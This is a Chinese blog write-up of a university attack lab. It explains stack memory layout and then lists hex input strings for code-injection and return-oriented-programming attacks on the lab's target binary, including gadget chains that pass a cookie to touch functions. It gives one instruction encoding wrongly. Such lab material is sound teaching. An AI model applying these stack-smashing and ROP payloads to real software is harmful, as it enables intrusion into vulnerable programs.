在做完lab2的時候,回去看了課本的第三章,最後一部分講了一下棧溢出導緻的代碼漏洞會被如何利用,以及如何防止這種安全問題,當時就在想原來代碼攻擊是這樣的,有空要自己實踐一下。打開lab3發現原來就是我想要的,興趣一下就來了
1. 預備知識
C語言的空間管理
1.棧區(stack):
由編譯器自動配置設定釋放,存放函數的參數值,局部變量等值。其操作方式類似于資料結構中的棧。
2.堆區(heap):
堆允許程式在運作時動态地申請某個大小的記憶體。
一般由程式員配置設定釋放,若程式員不釋放,則可能會引起記憶體洩漏。
注堆和資料結構中的堆棧不一樣,其類是與連結清單。
3.程式代碼區:存放函數體的二進制代碼。
所有的語句編譯後會生成CPU指令存儲在代碼區.
4.資料段:由三部分組成:
<1>隻讀資料段:
隻讀資料段是程式使用的一些不會被更改的資料,使用這些資料的方式類似查表式的操作,由于這些變量不需要更改,是以隻需要放置在隻讀存儲器中即可。一般是const修飾的變量以及程式中使用的文字常量一般會存放在隻讀資料段中。
<2>已初始化的讀寫資料段:
已初始化資料是在程式中聲明,并且具有初值的變量,這些變量需要占用存儲器的空間,在程式執行時它們需要位于可讀寫的記憶體區域内,并且有初值,以供程式運作時讀寫。在程式中一般為已經初始化的全局變量,已經初始化的靜态局部變量(static修飾的已經初始化的變量)
<3>未初始化段(BSS):
[
BSS段通常是指用來存放程式中未初始化的全局變量和靜态變量的一塊記憶體區域。
特點是可讀寫的,在程式執行之前BSS段會自動清0。
]
未初始化資料是在程式中聲明,但是沒有初始化的變量,這些變量在程式運作之前不需要占用存儲器的空間。與讀寫資料段類似,它也屬于靜态資料區。但是該段中資料沒有經過初始化。未初始化資料段隻有在運作的初始化階段才會産生,是以它的大小不會影響目标檔案的大小。在程式中一般是沒有初始化的全局變量和沒有初始化的靜态局部變量。
棧結構
棧上存放局部變量,函數退出後就會被釋放。函數傳回時需要使用到棧中存放的
傳回位址
,比如函數
fun1()
調用
func2()
時,會先将
func1()
中的下一條指令的位址存放到傳回位址中,然後進入到
func2()
中,
func2()
結束後,将傳回位址從棧中取出,放到程式計數器PC中,實作程式的傳回。
棧溢出攻擊就是想辦法将棧中的傳回位址覆寫為我們想要執行的函數的入口位址,同時将函數的參數傳送到指定的寄存器
2. 實驗
代碼架構
test()函數調用getbuf()函數,getbuf()在棧上申請了40個位元組的空間,并使用gets函數讀取字元串。目标就是通過傳入不同的字元串使函數從getbuf()傳回到我們期望的函數中,而不是test()中
代碼注入攻擊
level1
要求傳回到touch1()中,該函數沒有參數,是以隻需要将rsp+0x28~rsp+0x30的地方覆寫成touch1的位址即可
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66 // 40個位元組的字元串
c0 17 40 00 00 00 00 00 // touch1的位址
level2
要求傳回到touch2()中,并将cookie的值0x59b997fa作為參數傳遞給touch2,是以在跳轉之前需要先執行參數傳遞的代碼,參數傳遞結束後需要将touch2的位址壓棧:
movq $0x59b997fa, %rdi
pushq $0x04017ec
retq
該段代碼的二進制格式為:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
答案為:
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
78 dc 61 55 00 00 00 00 // rsp的位址,也就是代碼48 c7...的位址
level3
要求傳回到touch3中,将cookie轉換為字元串,并将字元串的位址作為touch3的參數傳遞。在touch3中會調用hexmatch函數,該函數會使用棧空間,是以cookie的字元串不能放到前面。此時棧的分布應該是:
+----------------+ 棧頂rsp
|傳遞參數的代碼 |
+----------------+ rsp+0x28
|傳遞參數代碼的位址 |
+----------------+
|字元串 |
|…… |
參數傳遞:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi ;
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
答案:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
代碼重定向攻擊
為了防止代碼諸如攻擊,棧上的資料可能會被設定為不可執行,是以不能将注入代碼寫到棧上
但是代碼的二進制檔案中包含了很多位元組序列,就存在使用這些序列拼接出我們要的内容。比如
movq %rax, %rdi
的二進制編碼為48 49 c7,
retq
為c3,如果我們能找到一段位元組序列構成如下的代碼:
movq %rax, %rdi
[一些不影響rdi的指令]
retq
就能通過修改棧上的傳回位址去執行這些位元組序列,進而達到我們的目的。攻擊過程如圖所示:
level4
同level2的需求。我們需要将0x59b997fa移動到rdi中,首先從棧裡拿出來需要popq指令,然後使用mov指令傳送到rdi中。查找相關序列能得到以下的函數:
popq %rdi
retq
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 // 58 90 c3序列所在的位址
fa 97 b9 59 00 00 00 00 // cookie
ec 17 40 00 00 00 00 00 // touch2的位址
level5
同level3的需求,我們需要将cookie的字元串存到棧的某個位置,比如rsp+x,然後需要将rsp+x傳送到rdi中。經過分析能獲得如下的棧結構:
| |
+-------------+
|字元串 |
+-------------+ --> rsp+0x48
|touch3的位址 |
|4019a2 | mov %rax, %rdi
|4019d6 | lea (%rdi,%rsi,1),%rax
|401a13 | movl %ecx, %esi
|401a34 | movl %edx, %ecx
|4019dd | movl %eax, %edx
|48 |
|4019cc | popq %rax
|4019a2 | movq %rax, %rdi
+-------------+ <-- rsp
|401a06 | movq %rsp, %rax
|…… |
需要注意的:
- 在movq %rsp, %rax中rsp的值是多少
- 偏移量0x48可以先不确定,等代碼的過程确定了再回來數字元串被排到了哪裡
- 加法指令可以用lea代替
- 注意movl和movq結合使用,有些情況下是等效的
- 可以夾雜一些無關指令,如nop、test、cmpq以及不改變我們需要的寄存器的指令
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
作者:Vinson
出處:https://www.cnblogs.com/vinnson/
-------------------------------------------
個性簽名:隻要想起一生中後悔的事,梅花便落滿了南山
如果覺得這篇文章對你有小小的幫助的話,記得在右下角點個“推薦”哦,部落客在此感謝!